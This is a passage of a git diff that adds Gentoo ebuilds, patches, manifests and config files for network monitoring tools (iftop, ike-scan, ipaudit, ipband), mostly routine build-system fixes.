+AC_SUBST(PTHREAD_LIBS)
+AC_SUBST(PTHREAD_CFLAGS)
+AC_SUBST(PTHREAD_CC)
+
+# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
+if test x"$ax_pthread_ok" = xyes; then
+ ifelse([$1],,AC_DEFINE(HAVE_PTHREAD,1,[Define if you have POSIX threads libraries and header files.]),[$1])
+ :
+else
+ ax_pthread_ok=no
+ $2
+fi
+AC_LANG_POP
+])dnl AX_PTHREAD
diff --git a/net-analyzer/iftop/files/iftop-1.0_pre4-Makefile.am.patch b/net-analyzer/iftop/files/iftop-1.0_pre4-Makefile.am.patch
new file mode 100644
index 000000000000..0b1308ab36c5
--- /dev/null
+++ b/net-analyzer/iftop/files/iftop-1.0_pre4-Makefile.am.patch
@@ -0,0 +1,11 @@
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -25,7 +25,7 @@ iftop_SOURCES = addr_hash.c edline.c hash.c iftop.c ns_hash.c \
+ # addrs_ioctl.c addrs_dlpi.c dlcommon.c \
+ # stringmap.c cfgfile.c
+
+-
++iftop_LDADD = $(ncurses_LIBS)
+
+ noinst_HEADERS = addr_hash.h ether.h ethertype.h extract.h hash.h iftop.h \
+ integers.h ip.h llc.h ns_hash.h options.h resolver.h \
diff --git a/net-analyzer/iftop/files/iftop-1.0_pre4-configure.ac.patch b/net-analyzer/iftop/files/iftop-1.0_pre4-configure.ac.patch
new file mode 100644
index 000000000000..ff13fd89fb57
--- /dev/null
+++ b/net-analyzer/iftop/files/iftop-1.0_pre4-configure.ac.patch
@@ -0,0 +1,278 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -51,10 +51,10 @@
+ forking use the REALLY SUCKY forking resolver.
+ guess run experiments to guess a
+ reasonable value. Only works if you
+- aren't cross-compiling. This
++ are not cross-compiling. This
+ is the default. guess will
+ either select netdb or netdb_1thread.
+- none don't do name resolution.],
++ none do not do name resolution.],
+ [resolver=$withval],
+ [resolver=guess])
+
+@@ -98,45 +98,14 @@
+ AC_CHECK_FUNCS(inet_aton inet_pton)
+
+ dnl
+-dnl Find integers of known physical size. This is a pain in the arse because
+-dnl we can't use AC_CHECK_SIZEOF to find the original variables, since that
+-dnl function doesn't permit us to include a header file. Sigh.
+-dnl
+-
+-for type in u_int8_t u_int16_t u_int32_t ; do
+- AC_MSG_CHECKING([size of $type])
+- AC_RUN_IFELSE([AC_LANG_SOURCE([
+-#include <sys/types.h>
+-#include <stdio.h>
+-int main() {
+- $type dummy;
+- FILE *f=fopen("conftestval", "w");
+- if (!f) exit(1);
+- fprintf(f, "%d\n", sizeof($1));
+- exit(0);
+-}
+- ])], [
+- x=`cat conftestval`
+- eval "size_$type=$x"
+- AC_MSG_RESULT([$x])
+- ], [
+- eval "size_$type=0"
+- AC_MSG_RESULT([unknown type])
+- ], [
+- eval "size_$type=0"
+- AC_MSG_RESULT([can't determine when cross-compiling])
+- ])
+-done
+-
+-dnl Groan. Have to do things this way so that autoheader can do its thing....
+-AC_DEFINE_UNQUOTED(SIZEOF_U_INT8_T, [$size_u_int8_t], [size of u_int8_t])
+-AC_DEFINE_UNQUOTED(SIZEOF_U_INT16_T, [$size_u_int16_t], [size of u_int16_t])
+-AC_DEFINE_UNQUOTED(SIZEOF_U_INT32_T, [$size_u_int32_t], [size of u_int32_t])
++dnl Find integers of known physical size.
++dnl
+
+-dnl If we already have these types, don't piss about any more....
++AC_CHECK_SIZEOF([u_int8_t])
++AC_CHECK_SIZEOF([u_int16_t])
++AC_CHECK_SIZEOF([u_int32_t])
+
+-if test $size_u_int8_t != 1 || test $size_u_int16_t != 2 || test $size_u_int32_t != 4 ; then
+-dnl XXXif test $size_u_int8_t != 1 -o $size_u_int16_t != 2 -o $size_u_int32_t != 4 ; then
++if test $ac_cv_sizeof_u_int8_t = 0 || test $ac_cv_sizeof_u_int16_t = 0 || test $ac_cv_sizeof_u_int32_t = 0; then
+ do_int_types=1
+ AC_CHECK_HEADERS(
+ stdint.h dnl C99
+@@ -154,12 +123,16 @@
+ fi
+ fi
+
++AC_DEFINE_UNQUOTED([SIZEOF_U_INT8_T],[$ac_cv_sizeof_u_int8_t],[size of u_int8_t])
++AC_DEFINE_UNQUOTED([SIZEOF_U_INT16_T],[$ac_cv_sizeof_u_int16_t],[size of u_int16_t])
++AC_DEFINE_UNQUOTED([SIZEOF_U_INT32_T],[$ac_cv_sizeof_u_int32_t],[size of u_int32_t])
++
+ dnl
+ dnl Name resolution.
+ dnl
+ dnl This is complicated because we need some sort of reentrant mechanism for
+ dnl name resolution. Naturally, UNIX vendors have come up with a variety of
+-dnl incompatible schemes for this, many of which don't work at all.
++dnl incompatible schemes for this, many of which do not work at all.
+ dnl
+
+ dnl First, the default resolver, which uses getnameinfo or gethostbyaddr_r. If
+@@ -175,7 +148,7 @@
+ use_getnameinfo=0
+ AC_SEARCH_LIBS(getnameinfo, [nsl], [use_getnameinfo=1])
+
+- dnl XXX For the moment, don't use getnameinfo, since it isn't actually
++ dnl XXX For the moment, do not use getnameinfo, since it is not actually
+ dnl thread safe on, e.g., NetBSD.
+ use_getnameinfo=0
+
+@@ -192,7 +165,7 @@
+ dnl Can use gethostbyaddr_r?
+ AC_SEARCH_LIBS(gethostbyaddr_r, [nsl], , [resolver=guess])
+ if test x$resolver = xguess && test x$specified_resolver != xguess ; then
+- dnl They wanted gethostbyaddr_r, but they can't have it, so stop.
++ dnl They wanted gethostbyaddr_r, but they cannot have it, so stop.
+ AC_MSG_ERROR([no library defines gethostbyaddr_r])
+ fi
+ fi
+@@ -216,15 +189,15 @@
+ AC_DEFINE(GETHOSTBYADDR_R_RETURNS_INT, 1,
+ [8-argument gethostbyaddr_r returns int])], [
+ dnl Neither.
+- AC_MSG_RESULT([don't know how])
++ AC_MSG_RESULT([do not know how])
+ resolver=guess])])
+ if test x$resolver = xguess && test x$specified_resolver != xguess ; then
+- dnl They wanted gethostbyaddr_r, but they can't have it, so stop.
++ dnl They wanted gethostbyaddr_r, but they cannot have it, so stop.
+ AC_MSG_ERROR([gethostbyaddr_r has no known calling convention])
+ fi
+ fi
+
+-dnl If we still want to do gethostbyaddr_r, and we aren't
++dnl If we still want to do gethostbyaddr_r, and we are not
+ dnl cross-compiling, test it.
+ if test x$resolver = xnetdb ; then
+ if test x$ghba_args = x8 ; then
+@@ -237,13 +210,13 @@
+ [AC_MSG_RESULT([yes])],
+ [AC_MSG_RESULT([no])
+ resolver=guess],
+- [AC_MSG_RESULT([can't test because we are cross-compiling])])
++ [AC_MSG_RESULT([cannot test because we are cross-compiling])])
+ if test x$resolver = xguess ; then
+ if test x$specified_resolver = xguess ; then
+- AC_MSG_RESULT([gethostbyaddr_r doesn't work, so we'll try something else])
++ AC_MSG_RESULT([gethostbyaddr_r does not work, so we will try something else])
+ else
+- dnl They wanted gethostbyaddr_r, but it doesn't work, so stop.
+- AC_MSG_ERROR([gethostbyaddr_r doesn't work])
++ dnl They wanted gethostbyaddr_r, but it does not work, so stop.
++ AC_MSG_ERROR([gethostbyaddr_r does not work])
+ fi
+ fi
+ fi
+@@ -260,11 +233,11 @@
+ AC_SEARCH_LIBS(ares_init, [ares], [
+ AC_DEFINE(USE_ARES, 1, [use ARES for name resolution])
+ ], [
+- dnl They asked for ares, but we can't give it to them, so stop.
+- AC_MSG_ERROR([can't find ARES. Re-run configure and ask for a different resolver.])])
++ dnl They asked for ares, but we cannot give it to them, so stop.
++ AC_MSG_ERROR([cannot find ARES. Re-run configure and ask for a different resolver.])])
+ fi
+
+-dnl Last thing to try if we haven't decided yet is netdb_1thread.
++dnl Last thing to try if we have not decided yet is netdb_1thread.
+ if test x$resolver = xguess ; then
+ resolver=netdb_1thread
+ fi
+@@ -317,16 +290,16 @@
+
+ if test $foundpcaph = 0 ; then
+ AC_MSG_RESULT([no idea])
+- AC_MSG_ERROR([can't find pcap.h
+- You're not going to get very far without libpcap.])
++ AC_MSG_ERROR([cannot find pcap.h
++ You are not going to get very far without libpcap.])
+ else
+ dnl assume that -lpcap is under $test_prefix/lib
+ if test x$test_prefix != x ; then
+ LDFLAGS="$LDFLAGS -L$test_prefix/lib"
+ fi
+ AC_CHECK_LIB(pcap, pcap_open_live, , [
+- AC_MSG_ERROR([can't find libpcap
+- You're not going to get very far without libpcap.])
++ AC_MSG_ERROR([cannot find libpcap
++ You are not going to get very far without libpcap.])
+ ])
+ fi
+
+@@ -337,79 +310,50 @@
+ ])
+
+ if test $foundpcap = 0 ; then
+- AC_MSG_ERROR([can't find pcap.h
+- You're not going to get very far without libpcap.])
++ AC_MSG_ERROR([cannot find pcap.h
++ You are not going to get very far without libpcap.])
+ fi
+
+ dnl
+ dnl Curses. Really, we need ncurses or something similarly advanced, since
+ dnl we use the (apparently obscure) mvchgat function. Unfortunately, there's
+-dnl a solid chance that mvchgat is a macro, so we can't just use
++dnl a solid chance that mvchgat is a macro, so we cannot just use
+ dnl AC_SEARCH_LIBS....
+ dnl
+
+-AC_MSG_CHECKING([for a curses library containing mvchgat])
+-oldLIBS=$LIBS
+-for curseslib in ncursesw curses ncurses ; do
+- LIBS="$oldLIBS -l$curseslib"
+- AC_TRY_LINK([
++PKG_PROG_PKG_CONFIG()
++
++PKG_CHECK_MODULES([ncurses], [ncursesw], [foundcurseslib="$ncurses_LIBS"], [
++ PKG_CHECK_MODULES([ncurses], [ncurses], [foundcurseslib="$ncurses_LIBS"], [
++ AC_MSG_CHECKING([for a curses library containing mvchgat])
++ oldLIBS=$LIBS
++ for curseslib in ncursesw curses ncurses ; do
++ LIBS="$oldLIBS -l$curseslib"
++ AC_TRY_LINK([
+ #include <$curseslib.h>
+ ], [
+ mvchgat(0, 0, 1, A_REVERSE, 0, NULL)
+ ], [
+- foundcurseslib=$curseslib
++ foundcurseslib=-l$curseslib
+ break
+ ])
+-done
+-
+-if test x$foundcurseslib = x ; then
+- AC_MSG_RESULT([none found])
++ done
++ ],
+ AC_MSG_ERROR([Curses! Foiled again!
+- (Can't find a curses library supporting mvchgat.)
++ (Cannot find a curses library supporting mvchgat.)
+ Consider installing ncurses.])
+-else
+- AC_MSG_RESULT([-l$foundcurseslib])
+-fi
+-
++ )
++])
+
+ dnl
+ dnl POSIX threads. Different systems like different combinations of flags,
+ dnl libraries, etc. We use a test program to figure this stuff out.
+ dnl
+
+-AC_MSG_CHECKING([POSIX threads compilation])
+-thrfail=1
+-oldCFLAGS=$CFLAGS
+-oldLIBS=$LIBS
+-for flag in "" -mt -pthread -thread ; do
+- CFLAGS="$oldCFLAGS $flag"
+- for lib in "" -lpthread "-lpthread -lposix4" ; do
+- LIBS="$oldLIBS $lib"
+- AC_LINK_IFELSE([AC_LANG_SOURCE([`cat config/pthread.c`])], [
+- foundthrlib=$lib
+- foundthrflag=$flag
+- thrfail=0
+- break
+- ])
+- done
+- if test $thrfail = 0 ; then
+- break
+- fi
+-done
+-
+-if test $thrfail = 1 ; then
+- AC_MSG_RESULT([no idea])
+- AC_MSG_ERROR([can't figure out how to compile with POSIX threads
+- If your system actually supports POSIX threads, this means we've messed up.])
+-fi
+-
+-AC_MSG_RESULT([CFLAGS=$foundthrflag and LIBS=$foundthrlib])
+-AC_MSG_CHECKING([POSIX threads usability])
+-AC_RUN_IFELSE([AC_LANG_SOURCE([`cat config/pthread.c`])],
+- [AC_MSG_RESULT([yes])],
+- [AC_MSG_ERROR(
+- [it fails. We probably guessed the wrong CFLAGS.])],
+- [AC_MSG_RESULT([can't test because we are cross-compiling])])
++AX_PTHREAD(
++ [LIBS="$PTHREAD_LIBS $LIBS"
++ CFLAGS="$CFLAGS $PTHREAD_CFLAGS"],
++ AC_MSG_ERROR([Could not find out how to enable POSIX threads]))
+
+ dnl
+ dnl Are we on a system (like Solaris) that requires promiscuous mode in order to
diff --git a/net-analyzer/iftop/files/iftop-1.0_pre4-pthread.patch b/net-analyzer/iftop/files/iftop-1.0_pre4-pthread.patch
new file mode 100644
index 000000000000..ce04c46a65ef
--- /dev/null
+++ b/net-analyzer/iftop/files/iftop-1.0_pre4-pthread.patch
@@ -0,0 +1,46 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -383,39 +383,10 @@
+ dnl libraries, etc. We use a test program to figure this stuff out.
+ dnl
+
+-AC_MSG_CHECKING([POSIX threads compilation])
+-thrfail=1
+-oldCFLAGS=$CFLAGS
+-oldLIBS=$LIBS
+-for flag in "" -mt -pthread -thread ; do
+- CFLAGS="$oldCFLAGS $flag"
+- for lib in "" -lpthread "-lpthread -lposix4" ; do
+- LIBS="$oldLIBS $lib"
+- AC_LINK_IFELSE([AC_LANG_SOURCE([`cat config/pthread.c`])], [
+- foundthrlib=$lib
+- foundthrflag=$flag
+- thrfail=0
+- break
+- ])
+- done
+- if test $thrfail = 0 ; then
+- break
+- fi
+-done
+-
+-if test $thrfail = 1 ; then
+- AC_MSG_RESULT([no idea])
+- AC_MSG_ERROR([can't figure out how to compile with POSIX threads
+- If your system actually supports POSIX threads, this means we've messed up.])
+-fi
+-
+-AC_MSG_RESULT([CFLAGS=$foundthrflag and LIBS=$foundthrlib])
+-AC_MSG_CHECKING([POSIX threads usability])
+-AC_RUN_IFELSE([AC_LANG_SOURCE([`cat config/pthread.c`])],
+- [AC_MSG_RESULT([yes])],
+- [AC_MSG_ERROR(
+- [it fails. We probably guessed the wrong CFLAGS.])],
+- [AC_MSG_RESULT([can't test because we are cross-compiling])])
++AX_PTHREAD(
++ [LIBS="$PTHREAD_LIBS $LIBS"
++ CFLAGS="$CFLAGS $PTHREAD_CFLAGS"],
++ AC_MSG_ERROR([Could not find out how to enable POSIX threads]))
+
+ dnl
+ dnl Are we on a system (like Solaris) that requires promiscuous mode in order to
diff --git a/net-analyzer/iftop/files/iftop-1.0_pre4-tinfo.patch b/net-analyzer/iftop/files/iftop-1.0_pre4-tinfo.patch
new file mode 100644
index 000000000000..bb14b3c6ca47
--- /dev/null
+++ b/net-analyzer/iftop/files/iftop-1.0_pre4-tinfo.patch
@@ -0,0 +1,55 @@
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -25,7 +25,7 @@ iftop_SOURCES = addr_hash.c edline.c hash.c iftop.c ns_hash.c \
+ # addrs_ioctl.c addrs_dlpi.c dlcommon.c \
+ # stringmap.c cfgfile.c
+
+-
++iftop_LDADD = $(ncurses_LIBS)
+
+ noinst_HEADERS = addr_hash.h ether.h ethertype.h extract.h hash.h iftop.h \
+ integers.h ip.h llc.h ns_hash.h options.h resolver.h \
+--- a/configure.ac
++++ b/configure.ac
+@@ -348,29 +348,27 @@
+ dnl AC_SEARCH_LIBS....
+ dnl
+
+-AC_MSG_CHECKING([for a curses library containing mvchgat])
+-oldLIBS=$LIBS
+-for curseslib in ncursesw curses ncurses ; do
+- LIBS="$oldLIBS -l$curseslib"
+- AC_TRY_LINK([
++PKG_CHECK_MODULES([ncurses], [ncursesw], [foundcurseslib="$ncurses_LIBS"], [
++ PKG_CHECK_MODULES([ncurses], [ncurses], [foundcurseslib="$ncurses_LIBS"], [
++ AC_MSG_CHECKING([for a curses library containing mvchgat])
++ oldLIBS=$LIBS
++ for curseslib in ncursesw curses ncurses ; do
++ LIBS="$oldLIBS -l$curseslib"
++ AC_TRY_LINK([
+ #include <$curseslib.h>
+ ], [
+ mvchgat(0, 0, 1, A_REVERSE, 0, NULL)
+ ], [
+- foundcurseslib=$curseslib
++ foundcurseslib=-l$curseslib
+ break
+ ])
+-done
+-
+-if test x$foundcurseslib = x ; then
+- AC_MSG_RESULT([none found])
++ done
++ ],
+ AC_MSG_ERROR([Curses! Foiled again!
+ (Can't find a curses library supporting mvchgat.)
+ Consider installing ncurses.])
+-else
+- AC_MSG_RESULT([-l$foundcurseslib])
+-fi
+-
++ )
++])
+
+ dnl
+ dnl POSIX threads. Different systems like different combinations of flags,
diff --git a/net-analyzer/iftop/files/iftop-1.0_pre4-tsent-set-but-not-used.patch b/net-analyzer/iftop/files/iftop-1.0_pre4-tsent-set-but-not-used.patch
new file mode 100644
index 000000000000..5e12b341fe97
--- /dev/null
+++ b/net-analyzer/iftop/files/iftop-1.0_pre4-tsent-set-but-not-used.patch
@@ -0,0 +1,12 @@
+--- a/ui_common.c
++++ b/ui_common.c
+@@ -263,9 +263,6 @@
+ } u_screen_line = { &screen_line };
+ addr_pair ap;
+ int i;
+- int tsent, trecv;
+- tsent = trecv = 0;
+-
+
+ ap = *(addr_pair*)n->key;
+
diff --git a/net-analyzer/iftop/files/iftoprc b/net-analyzer/iftop/files/iftoprc
new file mode 100644
index 000000000000..83b136952734
--- /dev/null
+++ b/net-analyzer/iftop/files/iftoprc
@@ -0,0 +1,59 @@
+
+# Sets the network interface to if.
+# interface: if
+interface: ppp0
+
+# Controls reverse lookup of IP addresses.
+# dns-resolution: (yes|no)
+dns-resolution: yes
+
+# Controls conversion of port numbers to service names.
+# port-resolution: (yes|no)
+port-resolution: yes
+
+# Sets the filter code to bpf.
+# filter-code: bpf
+
+# Controls display of bar graphs.
+# show-bars: (yes|no)
+show-bars: yes
+
+# Puts the interface into promiscuous mode.
+# promiscuous: (yes|no)
+
+# Controls display of port numbers.
+# port-display: (off|source-only|destination-only|on)
+port-display: on
+
+# Hides source host names.
+# hide-source: (yes|no)
+
+# Hides destination host names.
+# hide-destination: (yes|no)
+
+# Use bytes for bandwidth display, rather than bits.
+# use-bytes: (yes|no)
+use-bytes: yes
+
+# Sets which column is used to sort the display.
+# sort: (2s|10s|40s|source|destination)
+
+# Controls the appearance of each item in the display.
+# line-display: (two-line|one-line-both|one-line-sent|one-line-received)
+
+# Shows cummulative total for each item.
+# show-totals: (yes|no)
+show-totals: yes
+
+# Use a logarithmic scale for bar graphs.
+# log-scale: (yes|no)
+
+# Fixes the maximum for the bar graph scale to bw, e.g. "10M"
+# max-bandwidth: bw
+
+# Defines an IP network boundary for determining packet direction.
+# net-filter: net/mask
+
+# Sets a regular expression to filter screen output.
+# screen-filter: regexp
+
diff --git a/net-analyzer/iftop/iftop-1.0_pre4-r2.ebuild b/net-analyzer/iftop/iftop-1.0_pre4-r2.ebuild
new file mode 100644
index 000000000000..1bf3dddfb841
--- /dev/null
+++ b/net-analyzer/iftop/iftop-1.0_pre4-r2.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils
+
+DESCRIPTION="display bandwidth usage on an interface"
+SRC_URI="http://www.ex-parrot.com/pdw/iftop/download/${P/_/}.tar.gz"
+HOMEPAGE="http://www.ex-parrot.com/pdw/iftop/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+IUSE=""
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+S="${WORKDIR}"/${P/_/}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-configure.ac.patch \
+ "${FILESDIR}"/${P}-Makefile.am.patch \
+ "${FILESDIR}"/${P}-tsent-set-but-not-used.patch
+
+ # bug 490168
+ cat "${FILESDIR}"/ax_pthread.m4 >> "${S}"/acinclude.m4 || die
+
+ eautoreconf
+}
+
+src_install() {
+ dosbin iftop
+ doman iftop.8
+
+ dodoc AUTHORS ChangeLog README "${FILESDIR}"/iftoprc
+}
diff --git a/net-analyzer/iftop/iftop-1.0_pre4.ebuild b/net-analyzer/iftop/iftop-1.0_pre4.ebuild
new file mode 100644
index 000000000000..147036bace72
--- /dev/null
+++ b/net-analyzer/iftop/iftop-1.0_pre4.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils
+
+DESCRIPTION="display bandwidth usage on an interface"
+SRC_URI="http://www.ex-parrot.com/pdw/iftop/download/${P/_/}.tar.gz"
+HOMEPAGE="http://www.ex-parrot.com/pdw/iftop/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm hppa ia64 ~mips ppc ~ppc64 sparc x86 ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+IUSE=""
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+S="${WORKDIR}"/${P/_/}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+
+ # bug 490168
+ cat "${FILESDIR}"/ax_pthread.m4 >> "${S}"/acinclude.m4 || die
+ epatch "${FILESDIR}"/${P}-pthread.patch
+
+ eautoreconf
+}
+
+src_install() {
+ dosbin iftop
+ doman iftop.8
+
+ dodoc AUTHORS ChangeLog README "${FILESDIR}"/iftoprc
+}
diff --git a/net-analyzer/iftop/metadata.xml b/net-analyzer/iftop/metadata.xml
new file mode 100644
index 000000000000..43ff75467369
--- /dev/null
+++ b/net-analyzer/iftop/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ike-scan/Manifest b/net-analyzer/ike-scan/Manifest
new file mode 100644
index 000000000000..6129dea01b97
--- /dev/null
+++ b/net-analyzer/ike-scan/Manifest
@@ -0,0 +1 @@
+DIST ike-scan-1.9.tar.gz 1412689 RMD160 1d5c1fb5b9200ad098616bc7f2d2913c8217dc1d SHA1 e973742c32c7b65fe134233482c94e3e94db3b32 SHA256 05d15c7172034935d1e46b01dacf1101a293ae0d06c0e14025a4507656f1a7b6
diff --git a/net-analyzer/ike-scan/ike-scan-1.9-r1.ebuild b/net-analyzer/ike-scan/ike-scan-1.9-r1.ebuild
new file mode 100644
index 000000000000..76a33ef5e526
--- /dev/null
+++ b/net-analyzer/ike-scan/ike-scan-1.9-r1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+DESCRIPTION="A utility for finding, fingerprinting and testing IKE VPN servers"
+HOMEPAGE="http://www.nta-monitor.com/ike-scan/"
+SRC_URI="http://www.nta-monitor.com/ike-scan/download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE="ssl"
+
+DEPEND="ssl? ( dev-libs/openssl )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ # Fix buffer overflow, bug #277556
+ sed \
+ -e "/MAXLINE/s:255:511:g" \
+ -i ike-scan.h || die
+}
+
+src_configure() {
+ # --disable-lookup prevents ike-scan from phoning home
+ # for more information, please see bug 157507
+ econf $(use_with ssl openssl) --disable-lookup
+}
+
+src_install() {
+ default
+ dodoc udp-backoff-fingerprinting-paper.txt
+}
diff --git a/net-analyzer/ike-scan/metadata.xml b/net-analyzer/ike-scan/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/ike-scan/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ipaudit/Manifest b/net-analyzer/ipaudit/Manifest
new file mode 100644
index 000000000000..1ab646e8087c
--- /dev/null
+++ b/net-analyzer/ipaudit/Manifest
@@ -0,0 +1 @@
+DIST ipaudit-1.0BETA2.tar.gz 135680 SHA256 86610d06166eb74bcfb1619403f359ff0d82503e11a3bc8128e0eb927920e4d4
diff --git a/net-analyzer/ipaudit/ipaudit-1.0_beta2.ebuild b/net-analyzer/ipaudit/ipaudit-1.0_beta2.ebuild
new file mode 100644
index 000000000000..59047ab98be6
--- /dev/null
+++ b/net-analyzer/ipaudit/ipaudit-1.0_beta2.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils
+DESCRIPTION="IPAudit monitors network activity on a network by host, protocol and port"
+HOMEPAGE="http://ipaudit.sourceforge.net/"
+MY_P="${PN}-${PV/_beta/BETA}"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ppc x86"
+IUSE="mysql"
+DEPEND="net-libs/libpcap
+ mysql? ( virtual/mysql )"
+#RDEPEND=""
+S="${WORKDIR}/${MY_P}"
+
+src_compile() {
+ econf `use_with mysql` || die
+ emake || die "emake failed"
+}
+
+src_install() {
+ make DESTDIR=${D} install || die
+ dodoc AUTHORS README
+}
diff --git a/net-analyzer/ipaudit/metadata.xml b/net-analyzer/ipaudit/metadata.xml
new file mode 100644
index 000000000000..1e56dda90cde
--- /dev/null
+++ b/net-analyzer/ipaudit/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ <name>Robin H. Johnson</name>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">ipaudit</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ipband/Manifest b/net-analyzer/ipband/Manifest
new file mode 100644
index 000000000000..1245a5e5f3f7
--- /dev/null
+++ b/net-analyzer/ipband/Manifest
@@ -0,0 +1 @@
+DIST ipband-0.8.1.tgz 36675 SHA256 f0a5860647d5364df812f7660d28f1ee8fbd35eb27088ab0cd445963db5806ad SHA512 66347652fee7c7426620260ae615de2f4cfeedacac21d606643e4ae8da204cc81780bfd3f4062a16a9172a78a4a7799fc97e0141750ed26b0e21c8ac2eab3c4f WHIRLPOOL 85239172494d3210bf690c3fbef9b2f867661e75f727cd4804c3c3ea1a6b3ea52fac6194e45c7f5a0c7ec0fe2011cfbeeb2f0293f47228c678707a3c5d971527
diff --git a/net-analyzer/ipband/files/ipband-0.8.1-gentoo.patch b/net-analyzer/ipband/files/ipband-0.8.1-gentoo.patch
new file mode 100644
index 000000000000..e3929da8cfb4
--- /dev/null
+++ b/net-analyzer/ipband/files/ipband-0.8.1-gentoo.patch
@@ -0,0 +1,20 @@
+--- a/Makefile
++++ b/Makefile
+@@ -12,7 +12,6 @@
+ CPPFLAGS=-I/usr/include/pcap
+ LIBS=-lpcap
+ CFLAGS := -Wall $(CFLAGS)
+-CC=gcc
+
+ ifndef PREFIX
+ PREFIX=/usr
+@@ -49,8 +48,7 @@
+ all: $(BIN)
+
+ $(BIN): $(OBJ_C)
+- $(CC) -o $(BIN) $(OBJ_C) $(LIBS) $(CFLAGS)
+- strip $(BIN)
++ $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(OBJ_C) $(LIBS)
+
+ install-strip: install
+
diff --git a/net-analyzer/ipband/files/ipband-0.8.1-postfix.patch b/net-analyzer/ipband/files/ipband-0.8.1-postfix.patch
new file mode 100644
index 000000000000..9db8313afb30
--- /dev/null
+++ b/net-analyzer/ipband/files/ipband-0.8.1-postfix.patch
@@ -0,0 +1,13 @@
+--- a/ipband.sample.conf
++++ b/ipband.sample.conf
+@@ -61,7 +61,10 @@
+ # MTA string. Default is "/usr/sbin/sendmail -t -ba". Change it to
+ # whatever runs MTA of your choice. Note that the stringis tokenized and
+ # passed to exec(), so that shell's metacharacters are not interpreted.
++# Sendmail
+ #mtastring "/usr/sbin/sendmail -t -ba"
++# Postfix
++#mtastring "/usr/sbin/sendmail -t"
+
+ # Default number of subnet mask bits.
+ #maskbits 24
diff --git a/net-analyzer/ipband/files/ipband-init b/net-analyzer/ipband/files/ipband-init
new file mode 100644
index 000000000000..edfef8a11057
--- /dev/null
+++ b/net-analyzer/ipband/files/ipband-init
@@ -0,0 +1,25 @@
+#!/sbin/runscript
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting ipband"
+ start-stop-daemon --start --exec /usr/bin/ipband -- -F > /dev/null
+ if [ $? -ne 0 ]; then
+ ewarn "Check settings in /etc/ipband.conf"
+ eend 1
+ else
+ eend 0
+ fi
+}
+
+stop() {
+ ebegin "Stopping ipband"
+ start-stop-daemon --stop --exec /usr/bin/ipband
+ eend $?
+}
diff --git a/net-analyzer/ipband/ipband-0.8.1-r1.ebuild b/net-analyzer/ipband/ipband-0.8.1-r1.ebuild
new file mode 100644
index 000000000000..b795b2d07786
--- /dev/null
+++ b/net-analyzer/ipband/ipband-0.8.1-r1.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A pcap based IP traffic and bandwidth monitor with configurable reporting and alarm abilities"
+HOMEPAGE="http://ipband.sourceforge.net/"
+SRC_URI="http://ipband.sourceforge.net/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 x86"
+
+DEPEND=">=net-libs/libpcap-0.4"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gentoo.patch \
